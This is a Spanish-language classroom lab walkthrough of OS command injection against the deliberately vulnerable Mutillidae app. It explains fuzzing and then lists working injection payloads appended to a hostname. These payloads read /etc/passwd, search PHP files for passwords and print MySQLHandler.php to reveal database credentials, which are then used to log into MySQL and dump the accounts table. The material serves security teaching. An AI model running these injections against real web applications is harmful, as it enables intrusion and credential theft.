Tabla de Contenidos

¿Qué es Inyección de Comando?

La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. Esta potencial vulnerabilidad se produce cuando una aplicación web le permite hacer un nslookup, whois, ping, traceroute y más desde nuestra página web.

Se puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un “;” o “|” o “||” o “&” o “&&” se agrega al final de la entrada esperada (p. ej., www.google.com) seguido de un comando (p. ej., cat / etc / passwd).
¿Qué es Fuzzing?

La prueba de fuzz o fuzzing es una técnica de prueba de software que implica proporcionar datos no válidos, inesperados o aleatorios a las entradas de un programa de ordenador.

Luego, se monitorea el programa en busca de excepciones tales como bloqueos o fallos en las aserciones de código incorporadas o para encontrar posibles pérdidas de memoria. Fuzzing se usa comúnmente para probar problemas de seguridad en software o sistemas informáticos.

practica requisito

Notas de la practica

En esta practica haremos lo siguiente:

Lo primero de todo voy a ver que ip tiene cada uno de los equipos con los que voy a trabajar, tanto el Fedora como el Backtrack

Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia

[root@fedora14 estudiante]# service mysqld start

voy al Backtrack y escribo en el navegador http://ip-fedora/mutillidae

Vamos a ver como funciona DNS Lookup

Tenemos que ir a la solapa OWASP Top 10 –> A2 - Cross Site Scripting (XSS) –> Reflected (First Order) –> DNS Lookup

El DNS lookup está diseñada para hacer exactamente eso… proporciona una búsqueda de DNS.

Ahora vamos a probar una vulnerabilidad de seguridad que nos permitirá agregar un comando de Linux al final del nombre de host que estamos buscando.

El procedimiento de agregar un “;” después de lo que la aplicación espera, se llama comando fuzzing.

A continuación, ejecutará el comando “uname -a”, que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo

www.colegiomontessori.com;uname -a

Realizar Reconocimiento

Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular?

Ahora ejecutamos “pwd” para mostrarnos el directorio de trabajo actual.

Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php

entonces ejecutamos

 www.colegiomontessori.com; pwd

Interrogar la aplicación dns-lookup.php

Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema.

Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual.

www.colegiomontessori.com; find /var/www/html/mutillidae -name "dns-lookup.php" | xargs egrep '(exec|system|virtual)'

Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup

Ahora vamos a descubrir la Base de Datos usando el fichero /etc/passwd Vamos a buscar en /etc/passwd algunas de las siguientes palabras

postgres, sql, db2 y ora

para eso escribirmos :

www.colegiomontessori.com; cat /etc/passwd | egrep -i '(postgres|sql|db2|ora)'

LOL LOL LOL nos dice que mysql es la base de datos que están usando

Vamos a descubrir cual es el motor de base de datos que se esta usando con el comando “ps”

Usemos el comando “ps” para buscar las siguientes procesos: postgres, sql, db2 y ora.

www.colegiomontessori.com; ps -eaf | egrep -i '(postgres|sql|db2|ora)'

El mysqld (daemon) se está ejecutando.

Listar todos los scripts de php

Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /var/www/html/mutillidae contiene un nombre de usuario y contraseña de la base de datos.

Pero, primero enumera todos los scripts php.

www.colegiomontessori.com; find /var/www/html/mutillidae -name "*.php"

podemos ver una multitud de scripts para interrogar

Buscar scripts php para la contraseña de cadena

Ahora buscamos en los más de 900 scripts en PHP la palabra “contraseña” y “=”.

www.colegiomontessori.com; find /var/www/html/mutillidae -name "*.php" | xargs grep -i "password" | grep "="

y observamos la respuesta 8-om(8-o

y observamos que el fichero MySQLHandler.php contiene la siguiente cadena:

$mMySQLDatabasePassword = "samurai";

Hemos hecho parte del trabajo, porque ahora tenemos la contraseña “samurai”, que está en el fichero MYSQLHandler.php pero no sabemos el usuario que utiliza esa contraseña, por lo que vamos a buscar en MySQLHandler.php las palabras usuario (user) o login

www.colegiomontessori.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs egrep -i '(user|login)' | grep "="

Nos da mucha información, por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this→mMySQLConnection _…

Mostrar MySQLHandler.php

Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan.

Es posible visualizar los contenidos del programa MySQLHandler.php, codificando las etiquetas “<? Php” y “?>”. Estas etiquetas le dicen a Apache que ejecute un script php.

Para evitar este problema y simplemente mostrar el texto del programa, cambiamos “<” a “& # 60;” y “>” a “& # 62;”.

www.colegiomontessor.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs cat | sed 's/</\&#60;/g' | sed 's/>/\&#62;/g'

Aqui sacamos mucha mucha información LOLLOL por un lado “root” el usuario de la base de datos, por otro lado “samurai” la contraseña de la base de datos y por ultimo “nowasp” el nombre de la base de datos

    static public $mMySQLDatabaseUsername = "root";
 
    static public $mMySQLDatabasePassword = "samurai";
 
    static public $mMySQLDatabaseName = "nowasp";

Ahora podemos ir al terminal de nuestro Backtrack

root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai
mysql> show databases;
mysql> use nowasp;

A nevegar por la tablas

Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña

mysql> select * from accounts;
mysql> quit;

Print de pantalla a entregar

root@bt:~# cd
root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai -e "select * from nowasp.accounts" > account.txt
root@bt:~# ls -l account.txt
root@bt:~# date
root@bt:~# echo "Tu nombre"